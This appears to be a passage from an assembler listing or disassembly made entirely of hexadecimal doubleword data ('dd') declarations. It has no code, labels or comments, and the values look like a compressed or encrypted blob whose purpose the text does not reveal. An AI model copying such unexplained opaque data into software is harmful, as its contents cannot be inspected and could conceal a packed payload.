0E1C7306Dh dd 6DC6C66Dh, 8CD3F7F5h, 0F0ADE847h, 4655E1F7h, 0D7182DFFh dd 0F2467121h, 20F7DA2Dh, 2DE5065Dh, 79E0D79Dh, 5F2DE806h dd 0C64562F7h, 0D7132DCBh, 0C6C661A2h, 0A3F7D12Dh, 2DD1864Dh dd 6963D796h, 542DDC86h, 4775E6F7h, 0D70E6DD7h, 0DA475126h dd 27F7CC6Dh, 6DCD077Dh, 59E7D78Bh, 496DC007h, 0C76565F7h dd 0D7056DE3h, 0EEC741A5h, 0A4F7C76Dh, 6DF9876Dh, 4964D780h dd 426DF487h, 455EFF7h, 0D734EDEFh, 0E204712Fh, 2EF7F6EDh dd 0EDF5445Dh, 79EED7B1h, 73EDF844h, 84456CF7h, 0D73FEDDBh dd 0D68461ACh, 0ADF7FDEDh, 0EDC1C44Dh, 696DD7BAh, 78EDCCC4h dd 575E8F7h, 0D722ADC7h, 0CA055128h, 29F7E0ADh, 0ADDD457Dh dd 59E9D7A7h, 65ADD045h, 85656BF7h, 0D729ADF3h, 0FE8541ABh dd 0AAF7EBADh, 0ADE9C56Dh, 496AD7ACh, 6EADE4C5h, 86796CC7h dd 0E7C6ADC4h, 0C9865DACh, 0ADC704ADh, 0ADDEC671h, 556DE743h dd 81ADD3C6h, 669EFC7h, 0E7CDADF0h, 0FD064D2Fh, 2EC70FADh dd 0ADEA4661h, 45EEE748h, 8AADE746h, 87596BC7h, 0D7D0EDECh dd 0FAC5B49Ch, 2DF7582Dh, 2DE78569h, 5DADE7DBh, 512DEC85h dd 5516ED7h, 0C7D22DDDh, 0D60565EEh, 6FF7562Dh, 2DCB4579h dd 4DEFE7D5h, 7B2DC045h, 761A1D7h, 0C7F8EDD9h, 0D2075521h dd 0A0F77CEDh, 0EDCF4749h, 7D20E7FFh, 75EDC447h, 0C771E3D7h dd 0C7F6EDF5h, 0FEC74563h, 0E2F772EDh, 0EDE38759h, 6D62E7F1h dd 67EDE887h, 864125D7h, 0C7E4ADC1h, 0CA8675A5h, 24F760ADh dd 0ADD7C669h, 5DA4E7E3h, 69ADDCC6h, 465167D7h, 0C7EAADEDh dd 0E64665E7h, 66F76EADh, 0ADFB0679h, 4DE6E7EDh, 0DEADF006h dd 7796CC7h, 0D75DEDE4h, 0EF074DECh, 6DE7D9EDh, 0EDF24751h dd 65EDF75Ah, 0D0EDF947h, 0C7692EC7h, 0D753EDC8h, 0C3C75DAEh dd 2FE7D7EDh, 0EDDE8741h, 75AFF754h, 0C2EDD587h, 8659E8C7h dd 0D741ADFCh, 0F7866D68h, 0E9E7C5ADh, 0ADEAC671h, 4569F746h dd 0CCADE1C6h, 4649AAC7h, 0D74FADD0h, 0DB467D2Ah, 0ABE7CBADh dd 0ADC60661h, 552BF748h, 0E6ADCD06h, 447965C7h, 0C1656DD4h dd 0F5074D63h, 22F7E3EDh, 0EDFB4779h, 55E2E7A1h, 6EEDD147h dd 8751E0D7h, 0C72CEDDFh, 0CD877D20h, 61F7EAEDh, 0EDC3C749h dd 65A1E7A8h, 75ADD9C7h, 464125D7h, 0C737ADD7h, 0C5466DE5h dd 0A4F7F1ADh, 0ADCB0659h, 7564E7B3h, 7CADE106h, 0C67166D7h dd 0C73EADEFh, 0FDC65DA6h, 0E7F7F8ADh, 0ADF38669h, 4527E7BAh dd 8DEDD286h, 44D25E7h, 0F7CFEDDCh, 0CE0461E5h, 0A4C709EDh dd 0EDC04455h, 7964D74Bh, 84EDEA44h, 847D66E7h, 0F7C6EDE4h dd 0F68451A6h, 0E7C700EDh, 0EDF8C465h, 4927D742h, 9FADE2C4h dd 456DA3E7h, 0F7DDADECh, 0FE454163h, 22C71BADh, 0ADF00575h dd 59E2D759h, 96ADDA05h, 0C55DE0E7h, 0F7D4ADD4h, 0C6C57120h dd 61C712ADh, 0ADC88545h, 69A1D750h, 0A92DF285h, 0C64D28E7h dd 0F7EB2DFCh, 0EEC661E8h, 0A9C72D2Dh, 2DE08655h, 7969D76Fh dd 0A02DCA86h, 467D6BE7h, 0F7E22DC4h, 0D64651ABh, 0EAC7242Dh dd 2DD80665h, 492AD766h, 0BB6DC206h, 876DAEE7h, 0F7F96DCCh dd 0DE87416Eh, 2FC73F6Dh, 6DD0C775h, 59EFD77Dh, 0B26DFAC7h dd 75DEDE7h, 0F7F06DF4h, 0E607712Dh, 6CC7366Dh, 6DE84745h dd 69ACD774h, 2786C147h, 853C38E7h, 0E7A238C5h, 0CD4514BBh dd 3BE72C38h, 38D5050Ch, 4BAE7A9h, 3138DD84h, 0C41C3AE7h dd 0E7B4FBE5h, 0ED043485h, 5E73AFBh, 0FBF5442Ch, 2484E7BFh dd 0BFBFD07h, 473C04E7h, 0E78EFBC5h, 0CD871487h, 7E700FBh dd 0FBD5C70Ch, 486E785h, 1DFBDD46h, 61C06E7h, 0E798BBE5h dd 0EDC63481h, 1E716BBh, 0BBF5862Ch, 880E793h, 0F9BBFD04h dd 441000E7h, 0E77CBBC5h, 0CD843883h, 3E7F2BBh, 0BBD5C420h dd 2882E777h, 0EFBBDD45h, 53002E7h, 0E76A7BE5h, 0EDC5188Dh dd 0DE7E47Bh, 7BF58500h, 88CE761h, 0D57BFDC6h, 86100CE7h dd 0E7507BC5h, 0CD46388Fh, 0FE7DE7Bh, 7BD50620h, 288EE75Bh dd 0C37BDD87h, 0C7300EE7h, 0E7463BE5h, 0ED071889h, 9E7C83Bh dd 3BF54700h, 3C88E74Dh, 9A3BFD06h, 462408E7h, 0E71F3BC5h dd 0CD860C8Bh, 0BE7913Bh, 3BD5C614h, 1C8AE714h, 8C3BDD47h dd 7040AE7h, 0E709FAE5h, 0EDC72C95h, 15E787FAh, 0FAF58734h dd 3C94E702h, 0B6FAFDC4h, 0A42414E7h, 0E733F284h, 0CD440C97h dd 17E7BDFAh, 0FAD50414h, 1C96E738h, 0A0FADD85h, 0C50416E7h dd 0E725BAE5h, 0ED052C91h, 11E7ABBAh, 0BAF54534h, 1090E72Eh dd 44BAFDC7h, 870810E7h, 0E7C1BAC5h, 0CD472093h, 13E74FBAh dd 0BAD50738h, 3092E7CAh, 52BADD86h, 0C62812E7h, 0E7D77AE5h dd 0ED06009Dh, 1DE7597Ah, 7AF54618h, 109CE7DCh, 687AFD05h dd 45081CE7h, 0E7ED7AC5h, 0CD85209Fh, 1FE7637Ah, 7AD5C538h dd 309EE7E6h, 7E7ADD44h, 4281EE7h, 0E7FB3AE5h, 0EDC40099h dd 19E7753Ah, 3AF58418h, 0B898311Eh, 0DA3AFD06h, 462018E7h dd 0E75F3AC5h, 0CD86089Bh, 1BE7D13Ah, 3AD5C610h, 189AE754h dd 0CCEDD447h, 4775EEC7h, 0D78EEDDAh, 0E507412Eh, 0B5E749FCh dd 0FCEDC768h, 7035E7C7h, 42FCF587h, 0C478B4E7h, 0E7F6FCFDh dd 0C5846034h, 0B7E773FCh dd 0FCCD4448h, 5037E7FDh, 78FCD504h, 8558B6E7h, 0E7E0FCDDh dd 0E5C54036h, 0B1E765BCh, 0BCED0568h, 7031E7EBh, 6EBCF545h dd 0C754B0E7h, 0E704BCFDh, 0C5874C30h, 0B3E781BCh, 0BCCD4764h dd 0FC33F10Fh, 8ABCD507h, 8674B2E7h, 0E712BCDDh, 0E5C66C32h dd 0BDE7977Ch, 7CED0644h, 5C3DE719h, 9C7CF546h, 554BCE7h dd 0E7287CFDh, 0C5454C3Ch, 0BFE7AD7Ch, 7CCD8564h, 7C3FE723h dd 0A67CD5C5h, 4474BEE7h, 0E73E7CDDh, 0E5046C3Eh, 0B9E7BB3Ch dd 3CEDC444h, 5C39E735h, 0B03CF584h, 0C560B8E7h, 0E7673CFDh dd 0C5857838h, 0BBE7E23Ch, 3CCD4550h, 483BE76Ch, 0E93CD505h dd 8440BAE7h, 0E7713CDDh, 0E5C4583Ah, 85E7F4FFh, 0FFED0470h dd 6805E77Ah, 0FFFFF544h, 76084E7h, 0E74BFFFDh, 0C5477804h dd 87E7CEFFh, 0FFCD8750h, 4807E740h, 0C5FFD5C7h, 464086E7h dd 0E75DFFDDh, 0E5065806h, 81E7D8BFh, 0B7ACFD68h, 6801E756h dd 0D3BFF586h, 44C80E7h, 0E7B9BFFDh, 0C5445400h, 83E73CBFh dd 0BFCD847Ch, 6403E7B2h, 37BFD5C4h, 456C82E7h, 0E7AFBFDDh dd 0E5057402h, 8DE72A7Fh, 7FEDC55Ch, 440DE7A4h, 217FF585h dd 0C64C8CE7h, 0E7957FFDh, 0C586540Ch, 8FE7107Fh, 7FCD467Ch dd 640FE79Eh, 1B7FD506h, 876C8EE7h, 0E7837FDDh, 0E5C7740Eh dd 89E7063Fh, 3FED075Ch, 4409E788h, 0D3FF547h, 0AE4488E7h dd 43D2ED68h, 0B24E6564h, 0A663DCEDh, 0ED9C4E45h, 652743DEh dd 0D8ED860Eh, 0E456363h, 43DAAD80h, 9AC965E2h, 2023E4ADh dd 0ADB4C945h, 65A103E6h, 0E0ADAE89h, 8945E823h, 3E22DB8h dd 0A2496569h, 0AB23EC2Dh, 2D8C4945h, 652A03EEh, 0E82D9609h dd 9456E23h, 3EA6D90h, 8AC865EFh, 2D23F46Dh, 6DA4C845h dd 65AC03F6h, 0F06DBE88h, 88456E13h, 33F26D93h, 894865EFh dd 2D13FC6Dh, 6DA74845h, 65AC33FEh, 0F86DBD08h, 845E813h dd 33FA2DBBh, 0A1CB6569h, 0AB13C42Dh, 2D8FCB45h, 652A33C6h dd 0C02D958Bh, 8B456313h, 33C2AD83h, 994B65E2h, 2013CCADh dd 0ADB74B45h, 65A133CEh, 0C8ADAD0Bh, 0B45E513h, 33CAEDABh dd 0B1CA6564h, 0A613D4EDh, 0ED9FCA45h, 652733D6h, 0D0ED858Ah dd 8A452333h, 13D2AD85h, 9F4A65A2h, 6033DCADh, 0ADB14A45h dd 65E113DEh, 0D8ADAB0Ah, 0A45A533h, 13DAEDADh, 0B7D56524h dd 0E6F2E4EDh, 0ED99D545h, 6567D2E6h, 0E0ED8395h, 95452EF2h dd 0D2E26D95h, 8F5565AFh, 6DF2EC6Dh, 6DA15545h, 65ECD2EEh dd 0E86DBB15h, 1545A8F2h, 0D2EA2DBDh, 0A7D46529h, 0EBF2F42Dh dd 2D89D445h, 656AD2F6h, 0F02D9394h, 9445A8C2h, 0E2F22DBEh dd 0A4546529h, 0EBC2FC2Dh, 2D8A5445h, 656AE2FEh, 0F82D9014h dd 14452EC2h, 0E2FA6D96h, 8CD765AFh, 6DC2C46Dh, 6DA2D745h dd 65ECE2C6h, 0C06DB897h, 9745A5C2h, 0E2C2EDAEh, 0B4576524h dd 0E6C2CCEDh, 0ED9A5745h, 6567E2CEh, 0C8ED8017h, 174523C2h dd 0E2CAAD86h, 9CD665A2h, 60C2D4ADh, 0ADB2D645h, 65E1E2D6h dd 0D0ADA896h, 964568C2h, 0E2D22DB2h, 0A85665E9h, 2BC2DC2Dh dd 2D865645h, 65AAE2DEh, 0D82D9C16h, 1645EEC2h, 0E2DA6D9Ah dd 80D1656Fh, 0AD82E46Dh, 6DAED145h, 652CA2E6h, 0E06DB491h dd 91456582h, 0A2E2EDA2h, 0B85165E4h, 2682ECEDh, 0ED965145h dd 65A7A2EEh, 0E8ED8C11h, 1145E382h, 0A2EAAD8Ah, 90D06562h dd 0A082F4ADh, 0ADBED045h, 6521A2F6h, 0F0ADA490h, 9045E3B2h dd 92F2AD89h, 93506562h, 0A0B2FCADh, 0ADBD5045h, 652192FEh dd 0F8ADA710h, 104565B2h, 92FAEDA1h, 0BBD365E4h, 26B2C4EDh dd 0ED95D345h, 65A792C6h, 0C0ED8F93h, 9345EEB2h, 92C26D99h dd 8353656Fh, 0ADB2CC6Dh, 6DAD5345h, 652C92CEh, 0C86DB713h dd 134568B2h, 92CA2DB1h, 0ABD265E9h, 2BB2D42Dh, 2D85D245h dd 65AA92D6h, 0D02D9F92h, 9245AE92h, 0B2D26D9Fh, 8552652Fh dd 0ED92DC6Dh, 6DAB5245h, 656CB2DEh, 0D86DB112h, 12452892h dd 0B2DA2DB7h, 0ADDD65A9h, 6B52E42Dh, 2D83DD45h, 65EA72E6h dd 0E02D999Dh, 9D45A352h, 72E2AD8Fh, 955D6522h, 0E052ECADh dd 0ADBB5D45h, 656172EEh, 0E8ADA11Dh, 1D452552h, 72EAEDA7h dd 0BDDC65A4h, 6652F4EDh, 0ED93DC45h, 65E772F6h, 0F0ED899Ch dd 9C452562h, 42F2EDA4h, 0BE5C65A4h, 6662FCEDh, 0ED905C45h dd 65E742FEh, 0F8ED8A1Ch, 1C45A362h, 42FAAD8Ch, 96DF6522h dd 0E062C4ADh, 0ADB8DF45h, 656142C6h, 0C0ADA29Fh, 9F452862h dd 42C22DB4h, 0AE5F65A9h, 6B62CC2Dh, 2D805F45h, 65EA42CEh dd 0C82D9A1Fh, 1F45AE62h, 42CA6D9Ch, 86DE652Fh, 0ED62D46Dh dd 6DA8DE45h, 656C42D6h, 0D06DB29Eh, 0C5834862h, 0E7613BF9h dd 0C18508CBh, 4BE7EC3Bh, 3BC94510h, 18CAE768h, 0F73BD105h dd 0C4204AE7h, 0E7733BD9h, 0E18428D5h, 55E7FEFAh, 0FAE94430h dd 38D4E77Ah, 0C1FAF104h, 870054E7h, 0E745FAF9h, 0C1C708D7h dd 57E7C8FAh, 0FAC90710h, 18D6E74Ch, 0D3FAD147h, 862056E7h dd 0E757FAD9h, 0E1C628D1h, 51E7DABAh, 0BAE90630h, 38D0E75Eh dd 2BBAF146h, 52C50E7h, 0E7AFBAF9h, 0C14524D3h, 53E722BAh dd 0BAC9853Ch, 34D2E7A6h, 39BAD1C5h, 40C52E7h, 0E7BDBAD9h dd 0E14404DDh, 5DE7307Ah, 7AE9841Ch, 14DCE7B4h, 0F7AF1C4h dd 472C5CE7h, 0E78B7AF9h, 0C10724DFh, 5FE7067Ah, 7AC9C73Ch dd 0B4DEF006h, 1D7AD187h, 460C5EE7h, 0E7997AD9h, 0E10604D9h dd 59E7143Ah, 3AE9C61Ch, 14D8E790h, 783AF186h, 41858E7h dd 0E7FC3AF9h, 0C14410DBh, 5BE7713Ah, 3AC98408h, 0DAE7F5h dd 6A3AD1C4h, 475DA5F7h, 0E7282DF8h, 0F6477165h, 0F5E7EE2Dh dd 0FCE14570h, 6875E763h, 0E7FCE985h, 0C560F4E7h, 0E75CFCF1h dd 0F9465874h, 0F7E7D8FCh, 0FCC10650h, 4877E755h, 0D1FCC9C6h dd 8640F6E7h, 0E74EFCD1h, 0D9477876h, 0F1E7CAFCh, 0BCE10770h dd 6871E747h, 0C3BCE9C7h, 8760F0E7h, 0E7B6BCF1h, 0F9C47470h dd 0F3E732BCh, 0BCC1847Ch, 6473E7BFh, 3BBCC944h, 46CF2E7h dd 0E7A4BCD1h, 0D9C55472h, 0FDE720BCh, 7CE1855Ch, 447DE7ADh dd 297CE945h, 54CFCE7h, 0E7927CF1h, 0F986747Ch, 0FFE7167Ch dd 7CC1C67Ch, 647FE79Bh, 1F7CC906h, 466CFEE7h, 0E7807CD1h dd 0D987547Eh, 0F9E7047Ch, 3CE1C75Ch, 4479E789h, 0D3CE907h dd 474CF8E7h, 0E7DE3CF1h, 0F9467078h, 0FBE75A3Ch, 3CC10678h dd 607BE7D7h, 533CC9C6h, 8668FAE7h, 0E7CC3CD1h, 0D947507Ah dd 0C5E7483Ch, 0FFE10758h, 4045E7C5h, 41FFE9C7h, 8748C4E7h dd 0E7FAFFF1h, 0F9047044h, 0C7E77EFFh, 0FFC14478h, 6047E7F3h dd 77FFC984h, 0C468C6E7h, 0E7E8FFD1h, 0D9055046h, 0C1E76CFFh dd 0BFE14558h, 4041E7E1h, 65BFE985h, 0C548C0E7h, 0E710BFF1h dd 0F9865C40h, 0C3E794BFh, 0BFC1C654h, 4C43E719h, 9DBFC906h dd 4644C2E7h, 0E702BFD1h, 0D9877C42h, 0CDE786BFh, 7FE1C774h dd 6C4DE70Bh, 8F7FE907h, 4764CCE7h, 0E7347FF1h, 0F9C45C4Ch dd 0CFE7B07Fh, 7FC18454h, 4C4FE73Dh, 0B97FC944h, 444CEE7h dd 0E7267FD1h, 0D9C57C4Eh, 0C9E7A27Fh, 3FE18574h, 6C49E72Fh dd 0AB3FE945h, 564C8E7h, 0E7433FF1h, 0F9876848h, 0CBE7C73Fh dd 3FC1C760h, 784BE74Ah, 0CE3FC907h, 4770CAE7h, 0E7513FD1h dd 0D986484Ah, 0D5E7D53Fh, 0FEE1C640h, 5855E758h, 0DCFEE906h dd 4650D4E7h, 0E767FEF1h, 0F9C56854h, 0D7E7E3FEh, 0FEC18560h dd 7857E76Eh, 0EAFEC945h, 570D6E7h, 0E775FED1h, 0D9C44856h dd 0D1E7F1FEh, 0BEE18440h dd 5851E77Ch, 0F8BEE944h, 450D0E7h, 0E78DBEF1h, 0F9474450h dd 0D3E709BEh, 0BEC1074Ch, 5453E784h, 0BEC9C7h, 875CD2E7h dd 0E79FBED1h, 0D9466452h, 0DDE71BBEh, 7EE1066Ch, 745DE796h dd 127EE9C6h, 867CDCE7h, 0E7A97EF1h, 0F905445Ch, 0DFE72D7Eh dd 7EC1454Ch, 545FE7A0h, 247EC985h, 0C55CDEE7h, 0E7BB7ED1h dd 0D904645Eh, 0D9E73F7Eh, 3EE1446Ch, 7459E7B2h, 363EE984h dd 0C47CD8E7h, 0F7F43EF1h, 0C04455A3h, 0A3F7F8ADh, 0ADABAA45h dd 71E0C73Eh, 3EADC844h, 9A51A2C7h, 0D77436BDh, 0C6046D23h dd 0DBC7BCADh, 0ADC4843Eh, 6DE5E7FEh, 0F43EFDC4h, 0C45058E7h dd 0F731FCE4h, 0CC847CF5h, 0A2E779ADh, 0ADC944E0h, 59E2C7F1h dd 3D32F944h, 0E161A2E7h, 1013ADA2h, 0E44468F4h, 0A3E7FCADh dd 0ADC0046Dh, 61E2D739h, 3EADA9E1h, 4475E3F7h, 0C7BFADE9h dd 0C4046DE3h, 62F779ADh, 6FDC461h, 6DA3F737h, 0FE74DD04h dd 56DE6D7h, 0E7FCEDCBh, 0DD445523h, 0E3B1F4C4h, 0ADC40475h dd 0EF71BDEBh, 77A4E804h, 4C4B483h, 9FB1FCFCh, 0D54449E2h dd 3383AFADh, 9CD604F3h, 6773E7F9h, 79AD9320h, 24EA33E7h dd 0C7BEC49Dh, 93E0DCA2h, 27C7FBADh, 32B8607Dh, 0FC36F7F9h dd 0E9ADC644h, 5AC731E3h, 0D7F0AD6Bh, 0E6C461E1h, 0A1F7F7ADh dd 0ADE7455Dh, 0D776E0D8h, 0F9FCE484h, 0E15DE2E7h, 0C7ACC49Dh dd 0FD056D27h, 0A2BDEBADh, 0ADCC0471h, 0EB76E7FCh, 74ADEA84h dd 8479A0E7h, 0F771ADE4h, 0E28455A1h, 0A0F776ADh, 468C045h dd 75E7E7F3h, 0EB349102h, 0C161E3ADh, 0D764EDA3h, 0E4C57D67h dd 0A5F7A4EDh, 6DC5C56Dh, 61E6A3A5h, 0A56D84C1h, 0C161E593h dd 0E735ADA6h, 4E21C404h, 0ECE7642Dh, 0F7C38765h, 0EB76616Ch dd 0EC9CF445h, 21C48761h, 0F76EED50h, 0B50D59E6h, 20E7F2F7h dd 0ADD64571h, 6563F7F2h, 0ECADC604h, 447CF5F7h, 0E7DE6DE4h dd 812B6924h, 0EFE7E52Dh, 0ADED0549h, 792AD7DDh, 0B66DF9C4h dd 867DAFC7h, 0E7B5ADD2h, 0F00761E8h, 0A9C7186Dh, 6DC0C471h dd 792FF7E6h, 77ADC905h, 876D2ED7h, 0E7786DFAh, 0DBC57DE4h dd 0AAF798ADh, 6DECC74Dh, 4DA9E718h, 74EDD7C6h, 0B245EFC7h dd 0F79CEDA3h, 0D7854DE4h, 6BF7752Dh, 0EDD5C455h, 4523C7ABh dd 0C0ADE586h, 74166C7h, 0E7D4EDF6h, 0F1875525h, 9DD7F42Dh dd 6DD005E4h, 49E4B002h, 0E56DE707h, 0C5656FC7h, 0D7566DD8h dd 0BBE95965h, 0E8494C67h, 67FB0671h, 65AE594Ch, 0E5ADE544h dd 0C74926F7h, 0D7A637EBh, 88217963h, 9C7B9ADh, 3FFC86E4h dd 5C48F792h, 56ADD586h, 4E71AB41h, 439C2D8Bh, 0B68E41AAh dd 0F1E7FFADh, 0EDC544D4h, 59E31037h, 7FADC7C4h, 4564B4D7h dd 0D7BCF4E9h, 712145A2h, 0A0D1BDADh, 0ADCB4441h, 7923D7FCh dd 0FEADE604h, 6145E3F7h, 0E1BDAD66h, 0B2A1D0D4h, 0E52BA0ADh dd 0B5E0C441h, 6D23B129h, 0B6ADB263h, 0C44520D7h, 0E7B6ADF1h dd 0E2845921h, 0A0E7B4ADh, 0ADE7C459h, 69A1F777h, 0A5ADF1C4h dd 69DE0AB3h, 0E7BEAD8Ah, 90417D21h, 73E7FEADh, 0ADE9C4DBh dd 0E87EE7B4h, 0F4EDCBC4h, 0C45521E7h, 0C7A6F4E4h, 85E16165h dd 0E09158EDh, 0EDD84565h, 545323BEh, 0F8ED0D48h, 445923D7h dd 0D7FEEDC5h, 0C2445D23h, 53E7AFADh, 7487E348h, 0C4FF81AFh dd 0AD4C60h, 0A065E5A1h, 386AD82h, 0A5A27833h, 5CF77DEDh dd 948DAB44h, 5D60D7EDh, 0FFADB868h, 685D2621h, 1DFFED9Bh dd 8DE1605Ch, 23C7E5EDh, 0B4A24B71h, 6167B134h, 7EAD6C80h dd 1DCB4C7h, 0E7B4F6A7h, 0E1046562h, 0E2816C76h, 0ADF68459h dd 889B81AAh, 0A5ED45C3h, 44A858A3h, 0D7783AFAh, 8F81C491h dd 0E5E7F936h, 0ADD0C461h, 7D610142h, 57F9AEA8h, 44612131h dd 0F024ADDCh, 0AE95E879h, 0A3F77474h, 0ADAF6B45h, 0F859C7BDh dd 6F767D21h, 4554F533h, 0F72EFCE4h, 0DDEA4CF5h, 0E0D70CC4h dd 0ADA02179h, 0EEC8C7F8h, 51ADD985h, 0B4C78869h, 0C75B07F1h dd 8AEE5D62h, 88E2BE6Dh, 0ADB129FBh, 6127D7F1h, 0EDB7E405h dd 565E6C7h, 0D7EDEDD5h, 0CDC44921h, 9DF735B6h, 36BCA1FCh dd 5121E7AEh, 0F8AD82F7h, 54D63E7h, 0D7FC34D3h, 0B1F799ADh dd 0BFE7BBADh, 0AD84B7F8h, 4123A1D7h, 76ADC644h, 0EB7163B1h dd 81ADED8Ah, 96F7D8B4h, 0D6A16CB5h, 71EAF7F8h, 6963F7F4h dd 3EADD504h, 4441E2D7h, 0C00041D7h, 0FF4441A3h, 0D6E77E32h dd 0B7EF0550h, 671E11FFh, 31ADEA84h, 4559E7E1h, 0EAFBEDC5h dd 0AD6845E6h, 0A2E091ADh, 39819779h, 81ECF487h, 0F04E5AB7h dd 0C451A1F7h, 0ADEBADF5h, 0D1047563h, 66C7F9ADh, 0F1DD4559h dd 6163E73Dh, 0BCAD8EB5h, 84F478D7h, 0D77EF4D6h, 0D8447DE2h dd 0A1F7AEF4h, 0ADC6445Dh, 0BCB3D73Eh, 47C7BCEBh, 0E123ECC4h dd 9D96ED9Fh, 853665E2h, 6AD4FBB8h, 0AD7076A9h, 2036C739h dd 86ADC2C4h, 0C490ACD2h, 0D77BADCAh, 8AA9BC68h, 81F7E8EDh dd 0B0A628DCh, 61E2E7BEh, 0D2AD8717h, 0F37D66D0h, 21EEADB6h dd 0E0057DE7h, 159042B7h, 749070E2h, 5CC1E7EDh, 70ADB6B3h dd 451CBED7h, 21AAADEBh, 0E9C469E7h, 0EDE771ADh, 0ED8BECB0h dd 79E6E7A8h, 28EDD705h, 76685DE7h, 0E85FB76Fh, 0AE09D776h dd 6CE4C1A0h, 61CD77A5h, 5162EAC9h, 38ADD245h, 4551A2D7h dd 319CADC3h, 0D0455123h, 28E779ADh, 0F090D028h, 9C153F0Ah dd 5CF4D2EEh, 0EE5DEDF7h, 62AAAD94h, 0F084E388h, 2BD7B7ADh dd 1C6058Ch, 41E0C25Fh, 0CDADF3C4h, 0D16DA190h, 91A5A3A9h dd 0AAEA4DE3h, 27E7FC34h, 0B3A99745h, 69A0F7EDh, 0B0ADE084h dd 3C6DA160h, 0F7B7AD6Bh, 65F1E0BAh, 405CB8EDh, 0EDC745AFh dd 0E0414006h, 76A3BABFh, 0C441A0E1h, 0A00DADE6h, 0EFC5A300h dd 1ED7A5B7h, 0ADEC4453h, 65E1D771h, 8CADD345h, 579E6B0h dd 0E737EDC5h, 90A16163h, 0B6A044F0h, 0F3BAE0D0h, 7DA3F775h dd 38C4ACB5h, 0C498FF70h, 819D74DAh, 8DAB69A1h, 238F39B5h dd 0AD8337ECh, 9C30E7BBh, 0E1B4A061h, 0B0556311h, 0C00E366Ch dd 0D97C278Ah, 0F611A1B0h, 0BD204F8h, 0E478F7B9h, 0B0018CF1h dd 84AC6158h, 0C736ADF7h, 6B768CB9h, 17073ADh, 0B3BF239Dh dd 88CF5C82h, 0A5C8E7C4h, 569A6A3h, 0D027EDD6h, 0AD235D21h dd 0E6C7E8A2h, 0EDE5056Dh, 7DA6D729h, 56EDE505h, 45E0F571h dd 0C77E06E0h, 0F744D490h, 0C8F7B33Eh, 0FDAE64h, 0F01321FEh dd 0CBAD962Bh, 7CEF9303h, 93A5ED07h, 98C161A7h, 20B3A5ADh dd 0AD9EC161h, 616093A5h, 0A5AD9BC1h, 0C1612693h, 93A5ED9Bh dd 98C16120h, 6693A5EDh, 0ED88C161h, 6122A3A5h, 0A5ED8EC1h dd 0C1616083h, 0B3A5AD9Fh, 0AAC16160h, 62AD1103h, 0ADB2C161h dd 0FF9593A5h, 5AFCE484h, 62C8F531h, 33677643h, 566044F5h dd 0F5F77184h, 0AD74E348h, 0B36B3CA0h, 0A58660E2h, 0BF512393h dd 0B340C95Ch, 0A44870F5h, 0F5F73789h, 0FCE44448h, 4CF5F777h dd 0F7FCE444h, 72A3B7F7h, 8CF7FC64h, 0A48CAC08h, 0F5F7B4FCh dd 47E6B64h, 0E05A4D22h, 54768DE1h, 5C0F53Dh, 0F76FFCE4h dd 0E40544F5h, 0F5F76CFCh, 0FCE40578h, 7CF5F772h, 0AA3CAB78h dd 0AC64F57Dh, 83A5ED51h, 87E1A0D0h, 0C181A5B2h, 6B7E1E0h dd 0F138F7EAh, 0F4AD3942h, 0EAB4EEF7h, 9DDE8254h, 0EB8745EAh dd 0E0415027h, 0AD8D7759h, 0B4B1F7B4h, 0D971E404h, 86716B30h dd 6DE534D7h, 0DF85CFC5h, 0A9915F6Dh, 14CB0741h, 4DAED707h dd 3534D762h, 624DAEF7h, 0C7C8ADB8h, 0C6C6C87Bh, 61A15F6Dh dd 2DE6849Bh, 75E8B95Eh dd 73A1F3C6h, 0D516AF8h, 0C794AD95h, 95EBF47Bh, 63E7FE71h dd 4498165Dh, 65278016h, 0FA717CA3h, 8445A7F7h, 53BFB7CFh dd 556C51E2h, 0C34178EDh, 0A7D56C86h, 3433C7FAh, 3FAD5562h dd 5E6962F7h, 4D3E874Dh, 3B6FE742h, 0E6437B5Fh, 0BF8DC265h dd 7521C7B4h, 8CA7DFC4h, 0E168C959h, 0E739AD95h, 8D8EFB76h dd 5B6903ADh, 0C4600F38h, 75A221F0h, 5CED6523h, 845920E0h dd 0E76EEDCAh, 0ECC779E5h, 66815F2Dh, 495C971h, 4DA9D775h dd 0A1EDAA62h, 0F2CFFA23h, 13E2F6B9h, 0CF8688C8h, 21815924h dd 0ADF40475h, 0C058D7B8h, 43ADF604h, 3FF45841h, 7CE2AD8Bh dd 515E37EEh, 236059ADh, 0BEEB455Dh, 69E3BDA7h, 0BEADCE04h dd 46DA3D7h, 0E7BCEDCBh, 0A2207562h, 0E02152ADh, 0B7F0046Dh dd 41E25198h, 85B6E7C4h, 9649A180h, 0E212ADABh, 6268AB67h dd 0FBF7FC70h, 0ADC028ECh, 6352119Dh, 0BEAD90F0h, 0EB6A93D7h dd 15C3FC35h, 426B4453h, 6FD739F4h, 9EF44480h, 4DEBF7ADh dd 0B934D762h, 6D5DA0D7h, 0E77AA129h, 0E72D5DABh, 2B6975A7h dd 34CF4671h, 641AF728h, 0D9266D22h, 847D6B9Dh, 25D734CFh dd 0F044F7FAh, 0C5AB9EE1h, 0AD8BA8C3h, 51E2D7A9h, 0F6ADC744h dd 1544F531h, 218AB426h, 0A1C1E013h, 7BC7DA2Dh, 2DDE84CCh dd 5D25815Fh, 0FB34CF46h, 624DAAF7h, 0C759ED9Eh, 0D5C5C47Bh dd 27815F2Dh, 0ADA09441h, 51A9D2B0h, 0DA34CF46h, 147DAAE7h dd 915F2D94h, 0CF4659E8h, 0A2F78734h, 2DDFC61Ch, 51AE815Fh dd 856DBF14h, 1441E7D2h, 0C2876D84h, 80147164h, 0ABD285ADh dd 34CF0669h, 4DAAD78Eh, 0BF2D8C62h, 0C5E7C5E2h, 0E70A79ECh dd 804D5D2Bh, 0EDF7AF79h, 0B9CC042Ch, 6D6AF78Fh, 0CC799CD7h dd 0A5DAAC7h, 0A15F2D9Bh, 8F5771E1h, 26F2B22Dh, 0ED935441h dd 61E3F28Bh, 0DB2D9D96h, 44E87BC7h, 0A159EDF6h, 8E166124h dd 0EEF299ADh, 2D939451h, 51EEE2BCh, 91B9FF06h, 565169C2h dd 0D2B2AD9Dh, 955471EEh, 6992A4EDh, 0ED9A5461h, 5166F2B2h dd 0BCAD9F56h, 0F455A3F2h, 20198491h, 0A428F063h, 0F1401FFCh dd 0C444AC70h, 0E4F8F770h, 0ECAD660Eh, 0C475A0B1h, 0D731F4C1h dd 0CC046DE3h, 0A2E7F9ADh, 0ADB1A165h, 0D0D27014h, 0BDB0BD90h dd 286B48D7h, 0D7BCAD97h, 86AC79A2h, 80F7310Ch, 0C4F544C8h dd 0F0B7A156h, 